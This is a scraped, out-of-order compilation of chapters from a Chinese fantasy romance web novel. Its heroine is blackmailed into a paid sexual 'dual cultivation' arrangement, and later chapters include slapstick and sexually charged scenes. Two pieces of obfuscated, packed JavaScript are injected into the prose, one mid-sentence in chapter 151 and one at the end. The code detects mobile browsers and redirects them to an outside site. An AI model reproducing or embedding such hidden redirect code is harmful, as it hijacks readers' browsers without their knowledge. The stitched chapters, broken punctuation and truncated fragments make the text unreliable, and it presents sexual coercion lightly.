在此期间,不仅自身的修为会被莫名的力量尽数压制,还十分想要与人双修。 故而,戏称作:''春潮期''。 想到这里,她摸了摸头上的发带。 这是雾渺送给她的法器,可以遮掩身上的异香,和琉璃玉骨的体质。 就算是测灵根,测出的也只会是寻常的冰灵根。 在这个世界生活了一年,江献晚可以想象。 有朝一日,她的炉鼎体质若被人发现,恐怕不出一个时辰,两境三域的妖魔鬼怪,都会来抓她! 离开万古宗,没了雾渺的庇护,真的有把握不会沦落为玩物吗? 可雾渺是个一肚子坏水的奸商。 尽管他曾承诺,只要她听一天的话,万古宗便会护她一日。 以后时间久了呢? 待那人不再需要之日,确定会留着她这个污点,在眼前晃来晃去? 从雾渺隐晦的态度中看的出,那个男人,身份贵重,根本就不是她能染指的。 况且,她有一种属于女人的第六感。 那个男人,大约也是女主十八位美人图鉴中的一个。 所以江献晚根本不会动情。 情重要还是命重要? 情重要还是钱重要? 答案,显而易见。 江献晚不想再继续下去了。 她自小在福利院长大,习惯了一个人的生活。 对万古宗更生不出丝毫留恋,无非继续换个地方,独活罢了。 好在这一年,她因这具身体得了益处,已经成功结丹。 又一直刻苦修炼,废寝忘食,足够对这个玄幻世界的规则摸的透彻。 不过,金丹修为,显然还是不够看,两境三域,从来不缺少强者。 若与人厮杀,又恰巧忽然遇到春潮期,再高的修为,同样白瞎。 江献晚其实有些犹豫,但只是一秒。 无论如何,她走定了。 好在的是,春潮期还未出现过。 为了防患未然,从知道自己是炉鼎后,江献晚便开始私下查阅书籍医书,自己动手研制丹药。 雾渺给她了很多钱,但她从不敢去买这方面的丹药。 生怕被别人瞧出端倪。 江献晚折返烟雨城置办的宅院,回归平淡而充实的生活。 为了赚更多的钱,买各种名贵草药,修炼的闲余,她还发展了个副业。 不是她吹,她在那个世界可是小有名气的医生! 所以干脆干起了——卖书的营生。 是的,乍一听,这两个职业没什么关系。 其实……也确实没什么联系。 除了医术,她还喜欢画画,从小就画,应聘个美术老师绰绰有余。 这书都是她亲笔写的小说,插画也是她亲手画的。 结合现代元素,卖的很是畅销。 产生纠纷,自然是常有的事。 因为她的书,基本上都是根据万古宗长老掌门,甚至北帝尊的原型写的。 来买书的,自然有不少万古宗弟子。 所以…… 被正道弟子围殴……更是家常便饭。 江献晚休息了一日,想到五天前,被十个弟子,狂热的撵了十几条街。 没敢去东街,而是扭头去了北街,找了个不起眼的小角落。 一张四方小桌,一把躺椅,头顶自制的遮阳伞。 心满意足的一躺,生意这不就开始了。 “死遁后,我成了清冷仙君的白月光?” “怀了剑尊的孩子后,小师妹带球跑?” “渣了师尊后,被强制爱了?” “囚禁强制爱,病娇仙尊夜夜要不够?” 一道清朗的声音,声线由震惊到惊悚,由惊悚到质疑,由质疑再到激动。 不用看,都知道是何等的精彩纷呈。 江献晚挪开脸上的书,露出一只眼睛,与少年清澈的眸子在空中交汇。 十秒后。 “你不要命了?竟然将万古宗有头有脸的人物都写进去了?” 别以为他看不出来,书中主角,和万古宗长老的名字,皆只差一字! 江献晚无所谓摊开一只手,发出真诚的反问,“那咋了?” 蓝衣少年瞪大了眼,一脸不可思议。 沉吟片刻,“那你……还挺牛的。” “不过。”他摸了摸书页上栩栩如生的插画,对着藤椅上翘着二郎腿的少年,由衷赞叹,“兄弟,你是符修吗?画功这么好!” “多谢夸奖,我不是。一本书两块上品灵石。” “上品灵石!还是两块!”林玉锦面色大变,陡然抬高了声音,“你怎么不去抢!” “啪——” 江献晚揭开脸上的书扔在桌上,冷冷一笑。 “睁大你的眼,要不是看你长的帅,我要你五块!” 林玉锦先是因她的狮子大开口,被无耻到了。 旋即,又因她的夸赞,有些羞涩。 他红着脸重新低下头,翻了翻书页,良久抬眸,“方才的话……你再说一遍?” 说就说! 谁怕谁! 她跑路的本事早已练至登峰造极,打不过还跑不掉? 再说,她可是有很丰富的打群架经验,怕这少年一个人不成! 江献晚眼尾一抬,冷冷重复道:“睁大你的眼。” “不是,下一句。” “我要你五块!” “不是,中间那一句。” “……”江献晚眼皮子重重一跳,沉默片刻,“要不是看你长的帅?” “啪——” 林玉锦激动无比的拍出五块极品灵石,一甩额前碎发,“看在你这么有眼光的份上,不用找了!” 第2章 找雾渺结月钱 他微微偏头,视线落在她开开合合的红唇上。 再到那截探出衣襟的雪白细颈,雪染的瞳眸光影浮动,声线愈发暗哑,“晚些。” 江献晚:“……” 很好,她该不该吹嘘一番自己治好了这人要命的洁癖。 等朝阳初上,已是四日后了。 江献晚揉了揉眼,还未清醒,腰身被轻轻带了一下。 她下意识侧过视线,对上一双归于空寂的墨色眼眸。 指尖一抖,立时清醒。 坚强的扯了扯唇角,礼貌淡笑,“我该走了。” 话一出口,说不出的嘶哑。 男人手指虚虚一握,茶杯稳稳飞来,抵在她唇边。 江献晚也不推拒,就着喝下。 “好。” 他声音慵懒,随手将茶杯搁在了床头的矮几上。 只是垫在江献晚脖颈下的手臂,从始至终,未动分毫。 江献晚起不得,她一缕发丝被捏在男人手掌之中,轻揉细捻。 他身上的气息,分明已无一丝异样…… 刚想到这里,她有些纠结,要不要坐起身,拍拍屁股走人。 忽然,一片阴影猝不及防的投下。 江献晚错愕的望着那双不含任何情绪的黑眸,起了一半的身子,跌回阔榻。 这是另外的价钱! 等她出来的时候,日头已经刺眼的不能再刺眼了。 江献晚抖着两条面条似的腿,扶着粗壮的树干,头蒙的缓了许久。 虽然浑身灵气充沛,到底还是格外难受的。 狠狠揉了揉腰,头也不回,召出长剑,转眼消失。 只余下,半开的琉璃窗边,银色的长发随着细风轻轻拂动。 江献晚直奔雾顶峰。 是的,每月一结的钱必须得拿到手里才放心。 雾顶峰。 年轻男子头戴玉冠,身披玄色长袍,袍身上繁复细腻的银色流云纹路,在阳光下仿若行云流水,气度逼人。 此刻没骨头似的坐在竹席上,手肘撑在桌案,支颐侧脸,丝毫没有一点掌门该有的端庄。 雾渺无精打采的打量对面明显新浴未久,头发丝还带着些水汽的少女。 掩唇打了个哈欠,抱怨道:“一次比一次来的晚了。” 他坐的腿都麻了,茶喝了三壶,糕点吃了一盘,甚至还喝了一壶酒。 等的花都谢了。 江献晚敷衍的轻嗯一声,毫不客气的伸手,直奔主题,“嫖资。” 雾渺唇角一抽,手指慢吞吞的探进衣袖。 磨磨蹭蹭掏了许久,在少女眼皮直跳时,终于慢悠悠的拍在桌上一个芥子囊。 “我说早早,你有必要每次都这么着急?” 他还能赖账不成? 听到早早这个名字,江献晚还是忍不住虎躯一震。 是的,她留了个心眼,跟雾渺说她叫江早早。 江献晚打开芥子囊看了一眼,唇角终于露出一抹真心实意的微笑。 “抱歉啊雾掌门,十万火急!” 她凭本事挣的,为什么不要? 炼制丹药,买符纸笔墨这些不要钱吗? 想想为了买各种用品,小金库严重缩水,肉一阵阵的疼。 看着少女熟稔的毫不犹豫将桌上檀盒里的药丸吃下,雾渺挫败的往后略略一靠。 “我还能少你?再说,你的小金库装不下了吧?要这么多钱,花的完吗?” 他就没见过这么爱钱的少女,每次生怕会少了她的似的。 拿完钱,一溜烟跑的老快。 对着那株不开花的玉树,就没想过一点别的? 显然,少女的觉悟,强的恐怖,见了钱像见了亲爹。 有一点,雾渺很是诧异,这小姑娘从来没试图打听过那人是谁。 反倒是她,更怕别人知道,问他要了张人皮面具。 只要在宗门内走动,必然戴着。 除了初见,他再没见过她的真容。 不过也好,花点钱就能解决的问题。 若真是睡出感情,还挺难办的。 毕竟他小师叔洁癖的令人发指,一年前点头也是权衡利弊,万不得已。 她若真动了情,处理起来倒是一桩麻烦事。 再大海捞针去找一个千年不遇的琉璃玉骨不说,就算真能找来类似于这般体质的炉鼎,恐怕小师叔也会生厌,不肯。 江献晚不知他在想什么,也没兴趣知道。 敷衍的点了点头,连他的问题都没听进去,利索的转身告辞,“雾掌门,我还有事,再见。” 雾渺:“……” 她除了一月有十来日待在万古宗,其他时候根本瞧不见个人影。 因为她的以死相逼,既没拜在万古宗门下,不算弟子,更是没个什么身份。 若不是腰上挂的一枚可以开启禁地某处阵法,自由出入那座峰的雪白令牌,雾渺都觉得根本没这个人。 每次只有领她口中的嫖资的时候才能见上一回,拿完钱扭头走人,丝毫不拖泥带水。 害的他每次想八卦八卦,或是了解她一下,都没一点机会。 江献晚马不停蹄出了万古宗,立刻收起了腰间的玉牌。 她摩挲着用身体和底线换的灵石,想到什么,神色愈发古怪。 一个月之后,万古宗新生大典,更是女主拜入万古宗的时间。 而这位女主,同样也是炉鼎! 天阴圣体,天品水灵根。 江献晚是身穿,书中并无她这个人。 她误点进一本书,一目十行看了十几章,通过评论大约能看出主要写的什么。 那本书是以女主的视角展开。 除了知道雾渺会拜倒在女主的石榴裙下,美人图鉴上其他十七位男人,并不全然知晓。 按照穿书的套路,她既然来到这个世界,又与女主有差不多的炉鼎体质,之间必然会有什么关联。 更何况,她为何在女主拜师前,先一步阴差阳错,来到了万古宗? 若再待下去,会发生什么? 江献晚不得不多想。 根据套路。 她应当只是一个活不过三集的炮灰,女主飞升路上,一笔带过的垫脚石。 她可不是来做什么垫脚石的,更不需要什么狗血剧情。 况且,她已经出卖自己一年了。 特意又给雾渺一种安于现状,只知吃喝享乐的废物性格。 江献晚不想再这样下去了。 就算同她双修的那个男人身份比天高,美的再惨绝人寰,她也过够了这种招之即来挥之即去的卖身日子。 第1章 为了顿饭把自己卖了 排雷:本文不正经,私设多,不要带脑子,看文图一乐,不喜欢直接弃。 提意见,我看到,会听,会改,真的。 但可以指点,不要一边看,一边骂骂咧咧指指点点,恶语伤人六月寒,辱骂我会拿起键盘咔咔开麦。 祝大家春祺夏安,秋绥冬禧,么么么么。?''?'' ? 【脑子暂存处,看完全文记得回来领……不送鸡蛋。 鹅鹅鹅鹅鹅鹅鹅鹅鹅~ 当然,也不送鹅蛋。 咯咯咯咯咯咯咯咯咯!】 —————————————— 巫山披雾,雾笼巫山。 巨大的鱼影冲散翻滚的云海,鱼鳍曳着细碎的流光,流泻出一道道冰雪虚影,空灵梦幻。 江献晚满腹心事,并未瞧见一瞬即逝的异象。 随手拨开肩头有些凌乱的乌发,慢吞吞的缓步前行。 自从她被雷劈中,意外来到这个世界,不知不觉已经过去一年了。 而她,和一个不知姓名的帅哥也睡了一年。 没办法,实在是万古宗掌门雾渺一肚子黑水。 与她双修的男人不知什么身份,她从未在万古宗见过他。 至于为什么会出卖自己,还是要感谢她这具既争气又不争气的身体。 用雾渺的话来说:琉璃玉骨,变异灵根,绝世炉鼎。 她来这个世界的第五天,饿的头昏眼花。 正撅着屁股,怀疑人生的与一只刚出生没多久,还飞不稳的野鸡殊死搏斗时,被雾渺看了个正着。 再后来,她就进了万古宗。 再后来,测了灵根体质。 再后来,就被送到了床上。 一系列骚操作,也只不过用了两天的时间。 是她没节操吗? 是她没底线吗? 不,不是。 是穷。 是饿。 是想活着。 节操值几个钱? 雾渺说,不同意,就将她丢出去被鸡啄死。 同意的话,每月会给她一大笔钱,好吃好喝供着她。 饿了五天,风餐露宿,食不果腹,连一只鸡都打不过,险些被啄死,又痛又饿,恨不得啃人的江献晚,含着饥饿而绝望的泪水,还是在骤然喷出一口夹杂着内脏碎片的血后,卑微的屈服了。 “睡睡睡!你先让我吃十碗饭!” 吃饱了,后悔了,试图商量。 然而,雾渺威胁她,不睡就把她琉璃玉骨,绝世炉鼎的事情,昭告两境三域。 在简单的了解过,这个连鸡都能有如此恐怖战斗力的世界后,江献晚嘴角扯出一抹坚强的弧度。 太特么狗了! 最终,在她唇枪舌战,以死相逼,睡可以,但平日绝不待在这万古宗,成交。 两方都是聪明人。 雾渺料她逃不出手心,又无修为傍身,也不敢逃。 而江献晚面上装的乖巧,心底却不甘心受人摆布,就这么做个呼之即来挥之即去,没有自我主义的炉鼎。 更怕对方等不再需要她,会杀人灭口,或是随手转送旁人。 琉璃玉骨,再加上变异冰灵根的加持,她一没修为,二没钱物傍身,就这么跑了,岂不是找死? 江献晚咬牙切齿点头。 而对方为何需要炉鼎,她也是后来有了修为,深入了解这个玄幻世界,才揣摩出一点。 看那人胸膛游走的龙形,想来是吞了一条龙所致。 这人修的是无情道,证的是太上忘情。 那条龙自然具备龙族特有的体质,尤其是淫性。 因此,对方受到牵连,时不时饱受情欲的摧残。 严重的说,怕是会走火入魔。 对方选择——睡她! 而这一睡,就是一年。 望向那扇琉璃冰竹纹窗,江献晚面色发苦,磨磨蹭蹭,一步一挪。 尽管一年了,直到现在,她仍有着极大的心理阴影。 虽然她的修为从无到有,坐火箭一般提升的飞快。 可一想想死去活来的体验,腿脚都软了。 他太特么变变变变变态了! 好在每次雾渺都会扔给她一个芥子囊,作为利益交换。 同她双修的那个男人,也常会随手传授给她各种功法秘籍。 想想即将脱离苦海,近在眼前的好日子,还是咬着牙,摸出一枚强身健体的丹药。 她还不想活活累死在床上! 这人的体力好的变态,凶的可怕。 想了想,又多吃了一颗。 江献晚深吸一口气,调整呼吸,壮士断腕,推门而入。 炽碎的光芒透过层层飘荡的雪纱,铺泄一地。 将窗棂下那道清冽如雪的身影,蒙上一层朦胧的光华。 男子雪衣银发,支颐着面颊,半面银色面具,眼尾翩然,微微上挑。 瓷白的下颌,线条精致,宛若墨笔精心勾勒,薄唇轻抿,透着花瓣的绯色。 长及足踝的银发未束,随意弥散,浸着细碎的月光,一路流淌过如烟雪衣,逶堆在羽翼织成的金红软垫,光泽隐隐流动。 听到动静,手肘抵着桌案,浅浅侧过眸。 墨黑的睫毛下,一双雪水浇洗过似的眼瞳,如大海之下万载寒潭,沉寂无波,冰透清寒。 仙气泠泠,妙不可言。 好似高悬天穹的冷月,可望而不可及。 嗯……江献晚能想到的就这么多了。 他静静望着被轻薄雪纱拂了满肩的少女,呼吸渐沉。 空寂的眼底难以遏制的跃出一丝潋滟光泽,清冷的面庞,此刻竟似糅合了几分摄人心魄的滟色。 江献晚虽看不全他的容貌,不耽误她被这种莹澈如琼花初开的气质,深深折服。 尽管只露了半张脸,也漂亮的委实嚣张跋扈了。 看似随意的一坐,简直坐在了她的心巴上。 不禁有些怀疑,他俩到底谁才是那个绝世炉鼎? 咳咳……好吧。 她承认,能睡到这么一个万中无一的极品男人,还是有点狗屎运在身上的。 江献晚不争气的掐下念头,堪堪走近,细腕被一只骨节修长的手掌,轻轻攥上。 视线一转,似雪的冷香扑了满身。 男人微微蹙眉,垂眼看着衣襟微乱,沾着几分风尘仆仆的少女,声线清冽而低哑。 落在耳畔,莫名多出一丝委屈不已的错觉。 “为何来的这般晚?” 江献晚想从他腿上滑下来,奈何腰间的手纹丝不动,只好作罢。 因为我叫献晚啊,自然来的晚。 心里暗自腹诽:我特么打群架打的正手软,你一道信息传过来,我剑都要踩冒烟了。 当然,江献晚是绝对不会,对着一座没有感情的冰山打嘴炮的。 她很有雇主和被雇的觉悟。 也知道,男人问她并不是真的想听她解释什么。 果然,未等她开口狡辩,冰雪气息挟裹着炽烫的呼吸,又欺近了几分。 江献晚有些尴尬,“劳烦您稍等片刻,容我……先洗个澡?” 这个男人有很严重的洁癖,现在不顾她浑身上下,连头发都凌乱着,显然已是忍耐到了极致。 第 151 章 鼠鼠** 异鼠大王抱着怀疑的态度拿胖爪抓起一把瓜子咔嚓一磕壳熟练一吐。 下一秒鼠躯一震翠绿色的眼睛瞬间睁的溜圆好似两颗即将爆发能量的玻璃珠子。 好吃!!! 它一屁股坐在地上坐累了就趴着趴累了就躺着俩大板牙就没停下来过。 两只异鼠蹲在旁边 很快盆里的瓜子只剩一半。 异鼠大王盯着半盆瓜子似乎终于意识到某个问题的严重性。 这才注意到洞穴里坐着一排垂涎三尺表情变态各个色眯眯来盯它性感身体的人族修士。 一股凉风顺着粗胖的尾巴往上爬它恶寒地抖了抖。 特别是中间那个最猥琐的人类含情脉脉地盯着它的屁股露出痴迷而渴望的神色。 像是快要忍受不住心**热的欲望随时迅猛而无情地扑过来将它死死摁在冰冷的地上肆意蹂躏它性感的身体。 异鼠大王吓坏了。 他可不想要什么老婆! 老婆只会跟它抢吃的! 一种古怪的气氛逐渐蔓延充斥在人与鼠之间眼看异鼠大王奋力伸出两只前爪试图去捂屁股。 林玉锦谴责地转过头看向修言“拜托你不要那么恶心收起你猥琐放荡的小眼神。” “对!人鼠有别何况它好像是一只男鼠鼠。” “修师弟它真的不适合你放手吧。” 修言:“……?” 他只是想摸摸它啊! 还有你怎么知道它是男鼠你也很变态的好吧? 听到这些放荡的人类围着它的鼠体展开激烈讨论异鼠大王手忙脚乱腿又太短捂了个寂寞。 恼羞成怒爪子一挥。 “嘤嘤嘤!” 打鼠他! 两只下鼠飞快奔向看起来最猥琐的修言面前一鼠给他一耳光。 南境小队:“……?” 顶着两只泥爪印的修言:“……”受伤的世界只有他一个吗? 一阵鸦雀无声的沉默过后洞中骤然爆发出抑扬顿挫的鹅鹅狂笑声。 泥土簌簌落下,小伙伴抖着四肢,笑成大粪。 “小东西,还挺有劲!” “老响了!” “还清脆!” “鹅鹅鹅鹅鹅……” 然而,下一秒他们就笑不出来了。 两只鼠鼠在江献晚他们震惊的目光中,公平公正公开,无差别无针对的……抽了两溜耳光。 南境小队:“……” 这小力度,这小速度,这小爪爪。 看得出来,打耳光,鼠鼠是专业的。 打脸技术哪家强,老鼠洞里找鼠王! 苏清流没笑,也未能幸免。 一双总是厌离的眸子微微睁大,眼底是罕见的剧烈情绪波动。 僵硬而缓慢的垂下半扇睫毛,看向那两只异鼠。 他……被两只鼠打了? 他……真的被两只鼠打了? 他……竟然被两只鼠打了? 更心寒的绝对是盘在江献晚脑袋上的小紫。 在得到两个噼里啪啦而又清脆悦耳的大逼兜,扭成风骚的一坨,登时不可置信的僵成便便的形状。 许久,它茫然地竖起一点尖尖。 它堂堂劫雷……被两只鼠给扇了? 还是……俩大耳刮子? 不是,这关它一条无辜的劫雷什么事! 这下轮到修言鹅鹅狂笑。 “天道好轮回,苍天饶过谁!” 不过,等他再次独享了十几个耳光,顶着满脸爪印,终于自闭的垂下脑袋。 小伙伴们憋的肩膀耸动,江献晚纯属被笑的直抽抽的小紫,无意中电的浑身抽搐。 异鼠大王见这些猥琐的人类终于屈服在他的鼠威之下,不敢再造次,高傲地迈着小短腿,抬起一只爪拍了拍盆。 白子夜一边努力憋笑,侧身凑近江献晚,“小师妹,它是不是想要更多的瓜子?” 江献晚:“应该是。” 林玉锦:“那它们偷咱们干啥?” “或许,它觉得我们还有。” 她猜的还真没错。 异鼠大王点点头,重点对她的阅读理解,表示出了极大的满意。 又 抬起一只爪爪,敲盆。 明抢。 江献晚摇头,“就这一盆。” 异鼠大王不信,胖爪一挥,“嘤嘤嘤!”给我搜! 两只下鼠收到命令,捯饬着短腿,开始从苏清流这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965052|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搜刮。 苏清流睫毛微颤,看着被踹到一旁的老婆,眼底缓缓淌过一丝心碎。 可显然他的小伙伴们乐在其中,纷纷配合低头找芥子囊。 他看了看唇角微微翘起,将芥子囊轻轻上下抛送的小师妹,眼帘一垂,“在袖子里。” 两只异鼠很快找出一个芥子囊,示意他打开。 苏清流沉默片刻,两只被捆在一起的手伸出,拿起芥子囊,往下一倒。 除了一堆不能吃的符纸丹药,灵石衣裳等,啥吃的都没有。 两只异鼠嫌弃地看他一眼,示意他赶紧把破烂收起来。 苏清流:“……” 它们检查过苏清流,来到江献晚跟前。 迎上一双火辣辣的目光,两只鼠吓的浑身一哆嗦,飞快的躲开想摸它俩性感肉体的色魔之手,逃也似的窜到白子夜跟前。 不用它俩搜身,白子夜和林玉锦主动把芥子囊里的东西倒了出来。 总之,除了瓜子,什么都有,但鼠鼠对那些吃的并不感兴趣。 何未语红着脸倒出一堆在异鼠看来的破烂,“就这些了。” **就**,鼠鼠怎么还带嘲笑的。 两只异鼠扒拉半天,望着地上一堆堆的破烂,将视线挪到江献晚身上。 异鼠大王等不及了,期待的心被冷水渐渐浇透,啪叽碎成八瓣。 冷静不了一点。 爪一抬:本王亲自来! 下鼠恭敬地跟在鼠大王身后,迈着正步,气场十足,在江献晚跟前站定。 江献晚还能怎么办。 当然是——宠。 她默不作声打开芥子囊,异鼠大王迫不及待抓起口袋朝下,这么一倒。 在又是一阵噗嗤噗嗤的憋笑声中,整个鼠躺在好大好深的大铁锅里,表情还是迷茫的,无助的。 它是……怎么躺下来的? 直到两只下鼠挥了挥拳头,凶巴巴的示意江献晚他们不许笑。 再到它们奋力的爬上小山,抱着锅,左右使劲摇晃。 还是江献晚轻轻拿脚尖顶了一下锅,异鼠大王成功……被倒扣在锅中。 南境小队:“噗……噗……噗噗……” 笑鼠人! 忍不了一点。 ? 第 204 章 快** 非翎哼都没哼一声,除了面色急剧苍白,像是感受不到任何疼痛。 唇角甜蜜的笑意丝毫未减,缓缓收拢了双臂,拉近彼此之间的距离。 鼻尖轻蹭着她的鼻尖,软绵的嗓音,像是浸透水的云,委屈的像只小狗似的。 “晚晚,我只是太想你,想讨你欢心,想你每日都会想到我,还怕几个哥哥不接纳我。你方才怎么停了,没关系,我不疼,你不用舍不得。” “我以后都替你穿好不好?” “我错了,原谅我好不好?” 他哪里看不出来江献晚就是吓唬吓唬他。 那下意识的停顿,叫他错愕,叫他不可置信,仿佛心底被泼翻一罐蜜一样,心尖都甜了,恨不能疯掉。 晚晚舍不得伤他! 再者,打是亲骂是爱,晚晚打他骂他,肯定是因为心里有他! 不然,她怎么不骂别人? 江献晚此刻仍是怔愣的。 不知是极度的无语,还是因非翎眼中烛火跃金般的炙烫。 她看着那骨簪一寸寸没入非翎的心口,后者眉眼却极其舒展,光影交错间,潋滟生波,眼尾也随之轻折。 那含笑的眸子便与唇畔绽放的弧度融在一处,灼的人神魂都为之一荡。 玉山将倾,春水乍破般,非翎肩膀都在微微颤动。 心脏跳动的频率顺着骨簪,清晰地传递到江献晚手中。 她甚至觉得自己的手指,都在随着震颤的频率而发麻。 身子一软,下巴磕在非翎肩头,握着骨簪的手却竭力稳如磐石。 黏腻的鲜血不要钱的染湿他们身上的雪衣红裳,非翎仍旧环拥着她,没有往后避开的念头,双臂还在缓慢收拢。 江献晚几乎听到利刃扎进血肉的声音,她无法拔出两人之间的簪子,更被他眼中飞蛾扑火般的执拗烧的思绪一空。 罕见的垂下视线,任他抱。 小紫看傻了。 暂且不说江献晚这个疯娘们竟然心软了。 它本来还怕江献晚吃这小贱魔的亏,准备趁非翎不防,搞个偷袭,抽他一脑袋。 可显然这色魔……他为了江献晚这点美色,能特么快快乐乐、自个把自个搞死啊! 靠… …有毛病。 挂吧。 救不了一点。 非翎还在笑笑的眼睛里盛满晃眼的碎星子激烈的晃动着。 笑的江献晚毛骨悚然还有种打在棉花上的无力感。 活这么多年她都没见过这么有病还会自我攻略的恋爱脑。 可见非翎有多疯。 江献晚鲜少有束手无措而挫败的情绪垂眼看着满手的血咬牙道:“你疯了!放手。” 非翎浑不在意心口洇洇冒出的血唇角漾着浅浅的小梨涡似盛满醉人的鸠酒只是鬓角不知不觉沁出一层冷汗。 他拿雪白的衣袖细心沾去江献晚脸上的热汗像是快要被捅死的不是他一样。 嗓音明明依然是撒娇般又给人一种强行克制的错觉气息跟着微颤、紊乱。 “晚晚你是不是心疼我了?你是想我了才会丢下哥哥千辛万苦来找魔域找我的对不对?” “我知道一定是的。” “我好开心。” “真的好开心……” 他从来没这般想念过一个人竟觉得这些日日夜夜的短暂时光熬的他要干枯掉。 他看着夕阳缓斜看着晨星寥落看着时间在眼中缓慢着流逝周而复始只余一道道褶皱。 还想去妖域寻江献晚任凭没气度的狐狸腌臜他。 江献晚懵了 猝然垂落眼帘语气麻木“你说什么?” 随后眸子艰难滚动望向四周声线多了一丝颤抖。 “这是……魔域?” 她这才察觉到空气中弥漫着一股黏稠而诡异的气息。 阴风怒号恍若有无数怨灵在耳边低吼冰冷的寒意在裸露的皮肤上迅速凝结像是要钻到骨头里去。 因她身上裹的红裳是高级法衣未能一时发现周围过分阴森的环境。 她竟然来到了非翎的……老巢? 自个把自个送上门了? 江献晚又出了一身汗这回却是冷汗。 “是魔域啊。” 非翎放弃袖子乐此不疲的拿鼻尖轻轻去蹭她面颊的汗珠又欢喜上了。 “我感觉到你来了,急的连头发也未来得及束。” 江献晚……猝。 最后的一丝希望被无情打破。 她不仅落在了非翎手中,还掉进了他的魔窝。 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尤其她两条腿分开而坐,非翎亦是坐姿。 清晰而恐怖的轮廓,此刻无处遁形。 还有……突突跳动的经络。 江献晚浑身一僵,冷汗顷刻间流了一盆儿,确实不敢动了。 没想到这种情况下,他还能支楞起来。 紧抿嘴唇,别开脸,竭力忽视汹涌激烈的暗流,故作淡定的微微挺直脊背,试图从他怀中脱身,想将簪子**。 “闭嘴!” 这骨簪是非翎以自身精血炼制出的一小截魔骨,是伤他再好不过的利器。 他反倒自个往自个骨头上撞,捅的又深又准。 然而,非翎八风不动,双臂环着她的腰肢,足以削减她微弱的力度。 他可怜兮兮的将额角湿汗蹭在她脖颈,薄唇轻启,急促的吐息逐渐紊乱的不像话。 每一个字都像是从滚烫的胸腔里,艰难地挤压出来。 “晚晚,真的,你再动……我就要**……” “我控制不住……” “快**……” 第 207 章 真的挺想报警的 就在它纠结的快把自个抖成琴弦时却发现……动静忽然停了。 小紫:……?我勒个! 非翎这么不行的吗?! 这就结束了? 不考虑多坚持一秒的吗? 感觉有很快的车疾速从它脸上碾过…… 小紫:啧~ 不得不说。 一般真的很一般。 非翎:“……” 非翎此刻无比懊恼方才的擦枪走火。 若不是小紫一个劲儿的哆嗦电的他回神险些酿成大错。 他额角青筋暴起下颌淌落几滴汗珠咬着牙躲开江献晚的唇。 七手八脚赶忙捞过衣裳密密实实裹在她身上。 箍在怀中。 非翎有些狼狈甚至不敢看她惊慌、无措差点这般要了江献晚。 他嗓音沙哑的只剩紊乱急促的气音仿佛拼命从胸腔挤出来。 “晚晚……乖别动……” 江献晚胳膊腿儿被牢牢钳制着泪珠一滴一滴滚落滴在他颈窝。 却是乖乖不动了。 非翎又是后悔又是自责望着依恋般下巴偎在他肩颈乌发都微微濡湿的江献晚心底涌上无限的懊恼与心疼。 他知道江献晚回了一些理智顺着她轻颤的背一下一下轻轻安抚直到她安静下来。 非翎松开她指腹抚去她眼角的泪珠嗓音干涩无不是自责。 “对不起。” 又轻声道:“不要担心我待会同几个哥哥知会一声。” “行行也会放心。” 非翎骤然阖了阖眼帘眼底归于朗日晴空的澄澈。 他是很想要上位。 也知这是个最好的机会。 可他不愿 他愿意等。 等江献晚心甘情愿要他的那天。 江献晚最放心不下的就是江行行亦怕风回雪和小师兄他们担心。 听到风回雪三字拢回了神智伏在他肩头模糊的嗯了一声。 又下意识道:“你打算留我到什么时候?” 她错愕于非翎的忍耐。 又怪自己不争气,被非翎美色所迷惑。 险些犯事,惹狐狸伤心委屈。 非翎见她能清醒开口,竭力敛去眼底残留的欲望,委屈的嘟起唇,音调如同往日般。 反问,“晚晚觉得呢? 江献晚:“…… 她觉得,她再跟非翎多待一秒,可能还会忍不住……将他摁在枕席间。 这样,那样。 想想狐狸,江献晚虽难耐,现下脑子再清醒不过。 目光看起来以至于有些苍凉,悲伤如同冬日里连绵的细雨,转眼瓢泼。 如果狐狸在她身边就好了。 非翎看她反应,抿唇偷笑,眼波流转,秋水的眸子便掩去薄薄的失落,又是横添上十二分的委屈。 不情不愿。 “三。 江献晚心中一喜。 “三天? 非翎羞涩地嗔她一眼,“三月~ 江献晚:“……! 小紫:……那我呢? 非翎一侧唇角轻勾,甜甜的笑容愈发灿烂,修匀的手指爱怜地摸摸它。 “小紫小朋友,你也是哦~ 来都来了,不做个客,怎么说的过去? 再说,这小傻紫,刚才是在怀疑他的能力……对吧? 江献晚小紫:“…… 江献晚隐忍一息,砍价。 “三个月太久,我小师兄他们还在妖域。 “还有行行。 非翎心中自然有计较,只不过难得见到她如临大敌的紧张模样,眼底闪过一丝坏坏的促狭。 答非所问。 “晚晚,你不觉得这是上天的安排吗? “将你从妖域送到我的身边。 这两句,倒是真的。 他察觉骨簪传递来的气息,一时未能反应。 天知道,那一刻,他有多欢喜。 而方才,他尽管后悔,心底却也是欢喜的。 江献晚摸尽了他的身子,亲的他欲仙欲死,毁了他的清白,这下总得负责了吧? 嘿嘿…… 上位指日可待,想想都开心,睡觉都要笑醒了~ 江献晚:“……” 看着喜不自禁,一眼接着一眼,尽是写着要名分的男人,江献晚一口气哽在喉间。 不过,非翎还算有良心,竟愿意同风回雪知会一声。 唯一担心狼太灰口中的**,希望这头笨狼不要做出叫她失望之事。 江献晚迷迷糊糊的想着,余光扫到什么,眼角突地一跳,抬手抓上紫色劫雷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965108|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 